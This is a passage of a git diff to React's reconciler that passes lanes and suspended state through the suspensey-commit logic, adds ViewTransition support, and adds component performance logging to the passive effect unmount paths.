+// Note that MaySuspendCommit and ShouldSuspendCommit also includes named
+// ViewTransitions so that we know to also visit those to collect appearing
+// pairs.
+let suspenseyCommitFlag: Flags = ShouldSuspendCommit;
+export function accumulateSuspenseyCommit(
+  finishedWork: Fiber,
+  committedLanes: Lanes,
+  suspendedState: SuspendedState,
+): void {
+  resetAppearingViewTransitions();
+  accumulateSuspenseyCommitOnFiber(
+    finishedWork,
+    committedLanes,
+    suspendedState,
+  );
 }
 
-function recursivelyAccumulateSuspenseyCommit(parentFiber: Fiber): void {
+function recursivelyAccumulateSuspenseyCommit(
+  parentFiber: Fiber,
+  committedLanes: Lanes,
+  suspendedState: SuspendedState,
+): void {
   if (parentFiber.subtreeFlags & suspenseyCommitFlag) {
     let child = parentFiber.child;
     while (child !== null) {
-      accumulateSuspenseyCommitOnFiber(child);
+      accumulateSuspenseyCommitOnFiber(child, committedLanes, suspendedState);
       child = child.sibling;
     }
   }
 }
 
-function accumulateSuspenseyCommitOnFiber(fiber: Fiber) {
+function accumulateSuspenseyCommitOnFiber(
+  fiber: Fiber,
+  committedLanes: Lanes,
+  suspendedState: SuspendedState,
+) {
   switch (fiber.tag) {
     case HostHoistable: {
-      recursivelyAccumulateSuspenseyCommit(fiber);
+      recursivelyAccumulateSuspenseyCommit(
+        fiber,
+        committedLanes,
+        suspendedState,
+      );
       if (fiber.flags & suspenseyCommitFlag) {
         if (fiber.memoizedState !== null) {
           suspendResource(
+            suspendedState,
             // This should always be set by visiting HostRoot first
             (currentHoistableRoot: any),
             fiber.memoizedState,
             fiber.memoizedProps,
           );
         } else {
+          const instance = fiber.stateNode;
           const type = fiber.type;
           const props = fiber.memoizedProps;
-          suspendInstance(type, props);
+          // TODO: Allow sync lanes to suspend too with an opt-in.
+          if (
+            includesOnlySuspenseyCommitEligibleLanes(committedLanes) ||
+            maySuspendCommitInSyncRender(type, props)
+          ) {
+            suspendInstance(suspendedState, instance, type, props);
+          }
         }
       }
       break;
     }
     case HostComponent: {
-      recursivelyAccumulateSuspenseyCommit(fiber);
+      recursivelyAccumulateSuspenseyCommit(
+        fiber,
+        committedLanes,
+        suspendedState,
+      );
       if (fiber.flags & suspenseyCommitFlag) {
+        const instance = fiber.stateNode;
         const type = fiber.type;
         const props = fiber.memoizedProps;
-        suspendInstance(type, props);
+        // TODO: Allow sync lanes to suspend too with an opt-in.
+        if (
+          includesOnlySuspenseyCommitEligibleLanes(committedLanes) ||
+          maySuspendCommitInSyncRender(type, props)
+        ) {
+          suspendInstance(suspendedState, instance, type, props);
+        }
       }
       break;
     }
@@ -4228,10 +4692,18 @@ function accumulateSuspenseyCommitOnFiber(fiber: Fiber) {
         const container: Container = fiber.stateNode.containerInfo;
         currentHoistableRoot = getHoistableRoot(container);
 
-        recursivelyAccumulateSuspenseyCommit(fiber);
+        recursivelyAccumulateSuspenseyCommit(
+          fiber,
+          committedLanes,
+          suspendedState,
+        );
         currentHoistableRoot = previousHoistableRoot;
       } else {
-        recursivelyAccumulateSuspenseyCommit(fiber);
+        recursivelyAccumulateSuspenseyCommit(
+          fiber,
+          committedLanes,
+          suspendedState,
+        );
       }
       break;
     }
@@ -4249,16 +4721,52 @@ function accumulateSuspenseyCommitOnFiber(fiber: Fiber) {
           // instances, even if they're in the current tree.
           const prevFlags = suspenseyCommitFlag;
           suspenseyCommitFlag = MaySuspendCommit;
-          recursivelyAccumulateSuspenseyCommit(fiber);
+          recursivelyAccumulateSuspenseyCommit(
+            fiber,
+            committedLanes,
+            suspendedState,
+          );
           suspenseyCommitFlag = prevFlags;
         } else {
-          recursivelyAccumulateSuspenseyCommit(fiber);
+          recursivelyAccumulateSuspenseyCommit(
+            fiber,
+            committedLanes,
+            suspendedState,
+          );
         }
       }
       break;
     }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        if ((fiber.flags & suspenseyCommitFlag) !== NoFlags) {
+          const props: ViewTransitionProps = fiber.memoizedProps;
+          const name: ?string | 'auto' = props.name;
+          if (name != null && name !== 'auto') {
+            // This is a named ViewTransition being mounted or reappearing. Let's add it to
+            // the map so we can match it with deletions later.
+            const state: ViewTransitionState = fiber.stateNode;
+            // Reset the pair in case we didn't end up restoring the instance in previous commits.
+            // This shouldn't really happen anymore but just in case. We could maybe add an invariant.
+            state.paired = null;
+            trackAppearingViewTransition(name, state);
+          }
+        }
+        recursivelyAccumulateSuspenseyCommit(
+          fiber,
+          committedLanes,
+          suspendedState,
+        );
+        break;
+      }
+      // Fallthrough
+    }
     default: {
-      recursivelyAccumulateSuspenseyCommit(fiber);
+      recursivelyAccumulateSuspenseyCommit(
+        fiber,
+        committedLanes,
+        suspendedState,
+      );
     }
   }
 }
@@ -4291,28 +4799,6 @@ function detachAlternateSiblings(parentFiber: Fiber) {
   }
 }
 
-function commitHookPassiveUnmountEffects(
-  finishedWork: Fiber,
-  nearestMountedAncestor: null | Fiber,
-  hookFlags: HookFlags,
-) {
-  if (shouldProfile(finishedWork)) {
-    startPassiveEffectTimer();
-    commitHookEffectListUnmount(
-      hookFlags,
-      finishedWork,
-      nearestMountedAncestor,
-    );
-    recordPassiveEffectDuration(finishedWork);
-  } else {
-    commitHookEffectListUnmount(
-      hookFlags,
-      finishedWork,
-      nearestMountedAncestor,
-    );
-  }
-}
-
 function recursivelyTraversePassiveUnmountEffects(parentFiber: Fiber): void {
   // Deletions effects can be scheduled on any fiber type. They need to happen
   // before the children effects have fired.
@@ -4322,12 +4808,29 @@ function recursivelyTraversePassiveUnmountEffects(parentFiber: Fiber): void {
     if (deletions !== null) {
       for (let i = 0; i < deletions.length; i++) {
         const childToDelete = deletions[i];
+        const prevEffectStart = pushComponentEffectStart();
         // TODO: Convert this to use recursion
         nextEffect = childToDelete;
         commitPassiveUnmountEffectsInsideOfDeletedTree_begin(
           childToDelete,
           parentFiber,
         );
+        if (
+          enableProfilerTimer &&
+          enableProfilerCommitHooks &&
+          enableComponentPerformanceTrack &&
+          (childToDelete.mode & ProfileMode) !== NoMode &&
+          componentEffectStartTime >= 0 &&
+          componentEffectEndTime >= 0 &&
+          componentEffectEndTime - componentEffectStartTime > 0.05
+        ) {
+          logComponentUnmount(
+            childToDelete,
+            componentEffectStartTime,
+            componentEffectEndTime,
+          );
+        }
+        popComponentEffectStart(prevEffectStart);
       }
     }
     detachAlternateSiblings(parentFiber);
@@ -4337,17 +4840,17 @@ function recursivelyTraversePassiveUnmountEffects(parentFiber: Fiber): void {
   if (parentFiber.subtreeFlags & PassiveMask) {
     let child = parentFiber.child;
     while (child !== null) {
-      if (__DEV__) {
-        runWithFiberInDEV(child, commitPassiveUnmountOnFiber, child);
-      } else {
-        commitPassiveUnmountOnFiber(child);
-      }
+      commitPassiveUnmountOnFiber(child);
       child = child.sibling;
     }
   }
 }
 
 function commitPassiveUnmountOnFiber(finishedWork: Fiber): void {
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
   switch (finishedWork.tag) {
     case FunctionComponent:
     case ForwardRef:
@@ -4362,6 +4865,32 @@ function commitPassiveUnmountOnFiber(finishedWork: Fiber): void {
       }
       break;
     }
+    case HostRoot: {
+      const prevProfilerEffectDuration = pushNestedEffectDurations();
+      recursivelyTraversePassiveUnmountEffects(finishedWork);
+      if (enableProfilerTimer && enableProfilerCommitHooks) {
+        const finishedRoot: FiberRoot = finishedWork.stateNode;
+        finishedRoot.passiveEffectDuration += popNestedEffectDurations(
+          prevProfilerEffectDuration,
+        );
+      }
+      break;
+    }
+    case Profiler: {
+      const prevProfilerEffectDuration = pushNestedEffectDurations();
+
+      recursivelyTraversePassiveUnmountEffects(finishedWork);
+
+      if (enableProfilerTimer && enableProfilerCommitHooks) {
+        const profilerInstance = finishedWork.stateNode;
+        // Propagate layout effect durations to the next nearest Profiler ancestor.
+        // Do not reset these values until the next render so DevTools has a chance to read them first.
+        profilerInstance.passiveEffectDuration += bubbleNestedEffectDurations(
+          prevProfilerEffectDuration,
+        );
+      }
+      break;
+    }
     case OffscreenComponent: {
       const instance: OffscreenInstance = finishedWork.stateNode;
       const nextState: OffscreenState | null = finishedWork.memoizedState;
@@ -4381,7 +4910,24 @@ function commitPassiveUnmountOnFiber(finishedWork: Fiber): void {
         // effects. Then if the tree reappears before the delay has elapsed, we
         // can skip toggling the effects entirely.
         instance._visibility &= ~OffscreenPassiveEffectsConnected;
+
         recursivelyTraverseDisconnectPassiveEffects(finishedWork);
+
+        if (
+          enableProfilerTimer &&
+          enableProfilerCommitHooks &&
+          enableComponentPerformanceTrack &&
+          (finishedWork.mode & ProfileMode) !== NoMode &&
+          componentEffectStartTime >= 0 &&
+          componentEffectEndTime >= 0 &&
+          componentEffectEndTime - componentEffectStartTime > 0.05
+        ) {
+          logComponentDisappeared(
+            finishedWork,
+            componentEffectStartTime,
+            componentEffectEndTime,
+          );
+        }
       } else {
         recursivelyTraversePassiveUnmountEffects(finishedWork);
       }
@@ -4393,6 +4939,29 @@ function commitPassiveUnmountOnFiber(finishedWork: Fiber): void {
       break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0 &&
+    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)
+  ) {
+    logComponentEffect(
+      finishedWork,
+      componentEffectStartTime,
+      componentEffectEndTime,
+      componentEffectDuration,
+      componentEffectErrors,
+    );
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
+  popComponentEffectErrors(prevEffectErrors);
 }
 
 function recursivelyTraverseDisconnectPassiveEffects(parentFiber: Fiber): void {
@@ -4404,12 +4973,34 @@ function recursivelyTraverseDisconnectPassiveEffects(parentFiber: Fiber): void {
     if (deletions !== null) {
       for (let i = 0; i < deletions.length; i++) {
         const childToDelete = deletions[i];
+        const prevEffectStart = pushComponentEffectStart();
+
         // TODO: Convert this to use recursion
         nextEffect = childToDelete;
         commitPassiveUnmountEffectsInsideOfDeletedTree_begin(
           childToDelete,
           parentFiber,
         );
+
+        if (
+          enableProfilerTimer &&
+          enableProfilerCommitHooks &&
+          enableComponentPerformanceTrack &&
+          (childToDelete.mode & ProfileMode) !== NoMode &&
+          componentEffectStartTime >= 0 &&
+          componentEffectEndTime >= 0 &&
+          componentEffectEndTime - componentEffectStartTime > 0.05
+        ) {
+          // While this is inside the disconnect path. This is a deletion within the
+          // disconnected tree. We currently log this for deletions in the mutation
+          // phase since it's shared by the disappear path.
+          logComponentUnmount(
+            childToDelete,
+            componentEffectStartTime,
+            componentEffectEndTime,
+          );
+        }
+        popComponentEffectStart(prevEffectStart);
       }
     }
     detachAlternateSiblings(parentFiber);
@@ -4418,16 +5009,17 @@ function recursivelyTraverseDisconnectPassiveEffects(parentFiber: Fiber): void {
   // TODO: Check PassiveStatic flag
   let child = parentFiber.child;
   while (child !== null) {
-    if (__DEV__) {
-      runWithFiberInDEV(child, disconnectPassiveEffect, child);
-    } else {
-      disconnectPassiveEffect(child);
-    }
+    disconnectPassiveEffect(child);
     child = child.sibling;
   }
 }
 
 export function disconnectPassiveEffect(finishedWork: Fiber): void {
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
+
   switch (finishedWork.tag) {
     case FunctionComponent:
     case ForwardRef:
@@ -4458,6 +5050,29 @@ export function disconnectPassiveEffect(finishedWork: Fiber): void {
       break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0 &&
+    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)
+  ) {
+    logComponentEffect(
+      finishedWork,
+      componentEffectStartTime,
+      componentEffectEndTime,
+      componentEffectDuration,
+      componentEffectErrors,
+    );
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
+  popComponentEffectErrors(prevEffectErrors);
 }
 
 function commitPassiveUnmountEffectsInsideOfDeletedTree_begin(
@@ -4469,19 +5084,7 @@ function commitPassiveUnmountEffectsInsideOfDeletedTree_begin(
 
     // Deletion effects fire in parent -> child order
     // TODO: Check if fiber has a PassiveStatic flag
-    if (__DEV__) {
-      runWithFiberInDEV(
-        fiber,
-        commitPassiveUnmountInsideDeletedTreeOnFiber,
-        fiber,
-        nearestMountedAncestor,
-      );
-    } else {
-      commitPassiveUnmountInsideDeletedTreeOnFiber(
-        fiber,
-        nearestMountedAncestor,
-      );
-    }
+    commitPassiveUnmountInsideDeletedTreeOnFiber(fiber, nearestMountedAncestor);
 
     const child = fiber.child;
     // TODO: Only traverse subtree if it has a PassiveStatic flag.
@@ -4527,6 +5130,10 @@ function commitPassiveUnmountInsideDeletedTreeOnFiber(
   current: Fiber,
   nearestMountedAncestor: Fiber | null,
 ): void {
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
   switch (current.tag) {
     case FunctionComponent:
     case ForwardRef:
@@ -4543,27 +5150,23 @@ function commitPassiveUnmountInsideDeletedTreeOnFiber(
     // the cache instance owned by the root will never be freed.
     // When effects are run, the cache should be freed here:
     // case HostRoot: {
-    //   if (enableCache) {
-    //     const cache = current.memoizedState.cache;
-    //     releaseCache(cache);
-    //   }
+    //   const cache = current.memoizedState.cache;
+    //   releaseCache(cache);
     //   break;
     // }
     case LegacyHiddenComponent:
     case OffscreenComponent: {
-      if (enableCache) {
-        if (
-          current.memoizedState !== null &&
-          current.memoizedState.cachePool !== null
-        ) {
-          const cache: Cache = current.memoizedState.cachePool.pool;
-          // Retain/release the cache used for pending (suspended) nodes.
-          // Note that this is only reached in the non-suspended/visible case:
-          // when the content is suspended/hidden, the retain/release occurs
-          // via the parent Suspense component (see case above).
-          if (cache != null) {
-            retainCache(cache);
-          }
+      if (
+        current.memoizedState !== null &&
+        current.memoizedState.cachePool !== null
+      ) {
+        const cache: Cache = current.memoizedState.cachePool.pool;
+        // Retain/release the cache used for pending (suspended) nodes.
+        // Note that this is only reached in the non-suspended/visible case:
+        // when the content is suspended/hidden, the retain/release occurs
+        // via the parent Suspense component (see case above).
+        if (cache != null) {
+          retainCache(cache);
         }
       }
       break;
@@ -4575,9 +5178,9 @@ function commitPassiveUnmountInsideDeletedTreeOnFiber(
         const instance: OffscreenInstance = offscreenFiber.stateNode;
         const transitions = instance._transitions;
         if (transitions !== null) {
-          const abortReason = {
+          const abortReason: TransitionAbort = {
             reason: 'suspense',
-            name: current.memoizedProps.unstable_name || null,
+            name: current.memoizedProps.name || null,
           };
           if (
             current.memoizedState === null ||
@@ -4606,10 +5209,8 @@ function commitPassiveUnmountInsideDeletedTreeOnFiber(
       break;
     }
     case CacheComponent: {
-      if (enableCache) {
-        const cache = current.memoizedState.cache;
-        releaseCache(cache);
-      }
+      const cache = current.memoizedState.cache;
+      releaseCache(cache);
       break;
     }
     case TracingMarkerComponent: {
@@ -4618,7 +5219,7 @@ function commitPassiveUnmountInsideDeletedTreeOnFiber(
         const instance: TracingMarkerInstance = current.stateNode;
         const transitions = instance.transitions;
         if (transitions !== null) {
-          const abortReason = {
+          const abortReason: TransitionAbort = {
             reason: 'marker',
             name: current.memoizedProps.name,
           };
@@ -4644,9 +5245,32 @@ function commitPassiveUnmountInsideDeletedTreeOnFiber(
       break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (current.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0 &&
+    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)
+  ) {
+    logComponentEffect(
+      current,
+      componentEffectStartTime,
+      componentEffectEndTime,
+      componentEffectDuration,
+      componentEffectErrors,
+    );
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
+  popComponentEffectErrors(prevEffectErrors);
 }
 
-function invokeLayoutEffectMountInDEV(fiber: Fiber): void {
+export function invokeLayoutEffectMountInDEV(fiber: Fiber): void {
   if (__DEV__) {
     // We don't need to re-check StrictEffectsMode here.
     // This function is only called if that check has already passed.
@@ -4654,29 +5278,18 @@ function invokeLayoutEffectMountInDEV(fiber: Fiber): void {
       case FunctionComponent:
       case ForwardRef:
       case SimpleMemoComponent: {
-        try {
-          commitHookEffectListMount(HookLayout | HookHasEffect, fiber);
-        } catch (error) {
-          captureCommitPhaseError(fiber, fiber.return, error);
-        }
+        commitHookEffectListMount(HookLayout | HookHasEffect, fiber);
         break;
       }
       case ClassComponent: {
-        const instance = fiber.stateNode;
-        if (typeof instance.componentDidMount === 'function') {
-          try {
-            instance.componentDidMount();
-          } catch (error) {
-            captureCommitPhaseError(fiber, fiber.return, error);
-          }
-        }
+        commitClassDidMount(fiber);
         break;
       }
     }
   }
 }
 
-function invokePassiveEffectMountInDEV(fiber: Fiber): void {
+export function invokePassiveEffectMountInDEV(fiber: Fiber): void {
   if (__DEV__) {
     // We don't need to re-check StrictEffectsMode here.
     // This function is only called if that check has already passed.
@@ -4684,18 +5297,14 @@ function invokePassiveEffectMountInDEV(fiber: Fiber): void {
       case FunctionComponent:
       case ForwardRef:
       case SimpleMemoComponent: {
-        try {
-          commitHookEffectListMount(HookPassive | HookHasEffect, fiber);
-        } catch (error) {
-          captureCommitPhaseError(fiber, fiber.return, error);
-        }
+        commitHookEffectListMount(HookPassive | HookHasEffect, fiber);
         break;
       }
     }
   }
 }
 
-function invokeLayoutEffectUnmountInDEV(fiber: Fiber): void {
+export function invokeLayoutEffectUnmountInDEV(fiber: Fiber): void {
   if (__DEV__) {
     // We don't need to re-check StrictEffectsMode here.
     // This function is only called if that check has already passed.
@@ -4703,15 +5312,11 @@ function invokeLayoutEffectUnmountInDEV(fiber: Fiber): void {
       case FunctionComponent:
       case ForwardRef:
       case SimpleMemoComponent: {
-        try {
-          commitHookEffectListUnmount(
-            HookLayout | HookHasEffect,
-            fiber,
-            fiber.return,
-          );
-        } catch (error) {
-          captureCommitPhaseError(fiber, fiber.return, error);
-        }
+        commitHookEffectListUnmount(
+          HookLayout | HookHasEffect,
+          fiber,
+          fiber.return,
+        );
         break;
       }
       case ClassComponent: {
@@ -4725,7 +5330,7 @@ function invokeLayoutEffectUnmountInDEV(fiber: Fiber): void {
   }
 }
 
-function invokePassiveEffectUnmountInDEV(fiber: Fiber): void {
+export function invokePassiveEffectUnmountInDEV(fiber: Fiber): void {
   if (__DEV__) {
     // We don't need to re-check StrictEffectsMode here.
     // This function is only called if that check has already passed.
@@ -4733,25 +5338,12 @@ function invokePassiveEffectUnmountInDEV(fiber: Fiber): void {
       case FunctionComponent:
       case ForwardRef:
       case SimpleMemoComponent: {
-        try {
-          commitHookEffectListUnmount(
-            HookPassive | HookHasEffect,
-            fiber,
-            fiber.return,
-          );
-        } catch (error) {
-          captureCommitPhaseError(fiber, fiber.return, error);
-        }
+        commitHookEffectListUnmount(
+          HookPassive | HookHasEffect,
+          fiber,
+          fiber.return,
+        );
       }
     }
   }
 }
-
-export {
-  commitPlacement,
-  commitAttachRef,
-  invokeLayoutEffectMountInDEV,
-  invokeLayoutEffectUnmountInDEV,
-  invokePassiveEffectMountInDEV,
-  invokePassiveEffectUnmountInDEV,
-};
diff --git a/packages/react-reconciler/src/ReactFiberCompleteWork.js b/packages/react-reconciler/src/ReactFiberCompleteWork.js
index dd797b8d0971..6fc4297e1b33 100644
--- a/packages/react-reconciler/src/ReactFiberCompleteWork.js
+++ b/packages/react-reconciler/src/ReactFiberCompleteWork.js
@@ -19,6 +19,7 @@ import type {
   ChildSet,
   Resource,
 } from './ReactFiberConfig';
+import type {ActivityState} from './ReactFiberActivityComponent';
 import type {
   SuspenseState,
   SuspenseListRenderState,
@@ -27,8 +28,7 @@ import type {
 import type {
   OffscreenState,
   OffscreenQueue,
-} from './ReactFiberActivityComponent';
-import {isOffscreenManual} from './ReactFiberActivityComponent';
+} from './ReactFiberOffscreenComponent';
 import type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';
 import type {Cache} from './ReactFiberCacheComponent';
 import {
@@ -36,11 +36,11 @@ import {
   enableSuspenseCallback,
   enableScopeAPI,
   enableProfilerTimer,
-  enableCache,
   enableTransitionTracing,
-  enableRenderableContext,
   passChildrenWhenCloningPersistedNodes,
   disableLegacyMode,
+  enableViewTransition,
+  enableSuspenseyImages,
 } from 'shared/ReactFeatureFlags';
 
 import {now} from './Scheduler';
@@ -73,8 +73,15 @@ import {
   CacheComponent,
   TracingMarkerComponent,
   Throw,
+  ViewTransitionComponent,
+  ActivityComponent,
 } from './ReactWorkTags';
-import {NoMode, ConcurrentMode, ProfileMode} from './ReactTypeOfMode';
+import {
+  NoMode,
+  ConcurrentMode,
+  ProfileMode,
+  SuspenseyImagesMode,
+} from './ReactTypeOfMode';
 import {
   Placement,
   Update,
@@ -84,12 +91,15 @@ import {
   Snapshot,
   ChildDeletion,
   StaticMask,
-  MutationMask,
   Passive,
   ForceClientRender,
   MaySuspendCommit,
   ScheduleRetry,
   ShouldSuspendCommit,
+  Cloned,
+  ViewTransitionStatic,
+  Hydrate,
+  PortalStatic,
 } from './ReactFiberFlags';
 
 import {
@@ -98,6 +108,7 @@ import {
   resolveSingletonInstance,
   appendInitialChild,
   finalizeInitialChildren,
+  finalizeHydratedChildren,
   supportsMutation,
   supportsPersistence,
   supportsResources,
@@ -111,6 +122,8 @@ import {
   preparePortalMount,
   prepareScopeUpdate,
   maySuspendCommit,
+  maySuspendCommitOnUpdate,
+  maySuspendCommitInSyncRender,
   mayResourceSuspendCommit,
   preloadInstance,
   preloadResource,
@@ -126,6 +139,7 @@ import {
   popSuspenseListContext,
   popSuspenseHandler,
   pushSuspenseListContext,
+  pushSuspenseListCatch,
   setShallowSuspenseListContext,
   ForceSuspenseFallback,
   setDefaultShallowSuspenseListContext,
@@ -136,11 +150,12 @@ import {
   isContextProvider as isLegacyContextProvider,
   popContext as popLegacyContext,
   popTopLevelContextObject as popTopLevelLegacyContextObject,
-} from './ReactFiberContext';
+} from './ReactFiberLegacyContext';
 import {popProvider} from './ReactFiberNewContext';
 import {
   prepareToHydrateHostInstance,
   prepareToHydrateHostTextInstance,
+  prepareToHydrateHostActivityInstance,
   prepareToHydrateHostSuspenseInstance,
   popHydrationState,
   resetHydrationState,
@@ -153,6 +168,7 @@ import {
   getRenderTargetTime,
   getWorkInProgressTransitions,
   shouldRemainOnPreviousScreen,
+  markSpawnedRetryLane,
 } from './ReactFiberWorkLoop';
 import {
   OffscreenLane,
@@ -161,18 +177,20 @@ import {
   includesSomeLane,
   mergeLanes,
   claimNextRetryLane,
+  includesOnlySuspenseyCommitEligibleLanes,
 } from './ReactFiberLane';
 import {resetChildFibers} from './ReactChildFiber';
 import {createScopeInstance} from './ReactFiberScope';
 import {transferActualDuration} from './ReactProfilerTimer';
 import {popCacheProvider} from './ReactFiberCacheComponent';
-import {popTreeContext} from './ReactFiberTreeContext';
+import {popTreeContext, pushTreeFork} from './ReactFiberTreeContext';
 import {popRootTransition, popTransition} from './ReactFiberTransition';
 import {
   popMarkerInstance,
   popRootMarkerInstance,
 } from './ReactFiberTracingMarkerComponent';
 import {suspendCommit} from './ReactFiberThenable';
+import type {Flags} from './ReactFiberFlags';
 
 /**
  * Tag the fiber with an update effect. This turns a Placement into
@@ -182,6 +200,16 @@ function markUpdate(workInProgress: Fiber) {
   workInProgress.flags |= Update;
 }
 
+/**
+ * Tag the fiber with Cloned in persistent mode to signal that
+ * it received an update that requires a clone of the tree above.
+ */
+function markCloned(workInProgress: Fiber) {
+  if (supportsPersistence) {
+    workInProgress.flags |= Cloned;
+  }
+}
+
 /**
  * In persistent mode, return whether this update needs to clone the subtree.
  */
@@ -199,9 +227,10 @@ function doesRequireClone(current: null | Fiber, completedWork: Fiber) {
   // then we only have to check the `completedWork.subtreeFlags`.
   let child = completedWork.child;
   while (child !== null) {
+    const checkedFlags = Cloned | Visibility | Placement | ChildDeletion;
     if (
-      (child.flags & MutationMask) !== NoFlags ||
-      (child.subtreeFlags & MutationMask) !== NoFlags
+      (child.flags & checkedFlags) !== NoFlags ||
+      (child.subtreeFlags & checkedFlags) !== NoFlags
     ) {
       return true;
     }
@@ -322,7 +351,12 @@ function appendAllChildrenToContainer(
   workInProgress: Fiber,
   needsVisibilityToggle: boolean,
   isHidden: boolean,
-) {
+): boolean {
+  // Host components that have their visibility toggled by an OffscreenComponent
+  // do not support passChildrenWhenCloningPersistedNodes. To inform the callee
+  // about their presence, we track and return if they were added to the
+  // child set.
+  let hasOffscreenComponentChild = false;
   if (supportsPersistence) {
     // We only have the top Fiber that was created but we need recurse down its
     // children to find all the terminal nodes.
@@ -359,14 +393,14 @@ function appendAllChildrenToContainer(
         if (child !== null) {
           child.return = node;
         }
-        // If Offscreen is not in manual mode, detached tree is hidden from user space.
-        const _needsVisibilityToggle = !isOffscreenManual(node);
         appendAllChildrenToContainer(
           containerChildSet,
           node,
-          /* needsVisibilityToggle */ _needsVisibilityToggle,
+          /* needsVisibilityToggle */ true,
           /* isHidden */ true,
         );
+
+        hasOffscreenComponentChild = true;
       } else if (node.child !== null) {
         node.child.return = node;
         node = node.child;
@@ -374,13 +408,13 @@ function appendAllChildrenToContainer(
       }
       node = (node: Fiber);
       if (node === workInProgress) {
-        return;
+        return hasOffscreenComponentChild;
       }
       // $FlowFixMe[incompatible-use] found when upgrading Flow
       while (node.sibling === null) {
         // $FlowFixMe[incompatible-use] found when upgrading Flow
         if (node.return === null || node.return === workInProgress) {
-          return;
+          return hasOffscreenComponentChild;
         }
         node = node.return;
       }
@@ -389,6 +423,8 @@ function appendAllChildrenToContainer(
       node = node.sibling;
     }
   }
+
+  return hasOffscreenComponentChild;
 }
 
 function updateHostContainer(current: null | Fiber, workInProgress: Fiber) {
@@ -449,10 +485,12 @@ function updateHostComponent(
     const currentHostContext = getHostContext();
 
     let newChildSet = null;
+    let hasOffscreenComponentChild = false;
     if (requiresClone && passChildrenWhenCloningPersistedNodes) {
+      markCloned(workInProgress);
       newChildSet = createContainerChildSet();
       // If children might have changed, we have to add them all to the set.
-      appendAllChildrenToContainer(
+      hasOffscreenComponentChild = appendAllChildrenToContainer(
         newChildSet,
         workInProgress,
         /* needsVisibilityToggle */ false,
@@ -466,13 +504,15 @@ function updateHostComponent(
       oldProps,
       newProps,
       !requiresClone,
-      newChildSet,
+      !hasOffscreenComponentChild ? newChildSet : undefined,
     );
     if (newInstance === currentInstance) {
       // No changes, just reuse the existing instance.
       // Note that this might release a previous clone.
       workInProgress.stateNode = currentInstance;
       return;
+    } else {
+      markCloned(workInProgress);
     }
 
     // Certain renderers require commit-time effects for initial mount.
@@ -484,13 +524,11 @@ function updateHostComponent(
       markUpdate(workInProgress);
     }
     workInProgress.stateNode = newInstance;
-    if (!requiresClone) {
-      // If there are no other effects in this tree, we need to flag this node as having one.
-      // Even though we're not going to use it for anything.
-      // Otherwise parents won't know that there are new children to propagate upwards.
-      markUpdate(workInProgress);
-    } else if (!passChildrenWhenCloningPersistedNodes) {
-      // If children might have changed, we have to add them all to the set.
+    if (
+      requiresClone &&
+      (!passChildrenWhenCloningPersistedNodes || hasOffscreenComponentChild)
+    ) {
+      // If children have changed, we have to add them all to the set.
       appendAllChildren(
         newInstance,
         workInProgress,
@@ -512,10 +550,18 @@ function updateHostComponent(
 function preloadInstanceAndSuspendIfNeeded(
   workInProgress: Fiber,
   type: Type,
-  props: Props,
+  oldProps: null | Props,
+  newProps: Props,
   renderLanes: Lanes,
 ) {
-  if (!maySuspendCommit(type, props)) {
+  const maySuspend =
+    (enableSuspenseyImages ||
+      (workInProgress.mode & SuspenseyImagesMode) !== NoMode) &&
+    (oldProps === null
+      ? maySuspendCommit(type, newProps)
+      : maySuspendCommitOnUpdate(type, oldProps, newProps));
+
+  if (!maySuspend) {
     // If this flag was set previously, we can remove it. The flag
     // represents whether this particular set of props might ever need to
     // suspend. The safest thing to do is for maySuspendCommit to always
@@ -533,15 +579,25 @@ function preloadInstanceAndSuspendIfNeeded(
   // loaded yet.
   workInProgress.flags |= MaySuspendCommit;
 
-  // preload the instance if necessary. Even if this is an urgent render there
-  // could be benefits to preloading early.
-  // @TODO we should probably do the preload in begin work
-  const isReady = preloadInstance(type, props);
-  if (!isReady) {
-    if (shouldRemainOnPreviousScreen()) {
-      workInProgress.flags |= ShouldSuspendCommit;
+  if (
+    includesOnlySuspenseyCommitEligibleLanes(renderLanes) ||
+    maySuspendCommitInSyncRender(type, newProps)
+  ) {
+    // preload the instance if necessary. Even if this is an urgent render there
+    // could be benefits to preloading early.
+    // @TODO we should probably do the preload in begin work
+    const isReady = preloadInstance(workInProgress.stateNode, type, newProps);
+    if (!isReady) {
+      if (shouldRemainOnPreviousScreen()) {
+        workInProgress.flags |= ShouldSuspendCommit;
+      } else {
+        suspendCommit();
+      }
     } else {
-      suspendCommit();
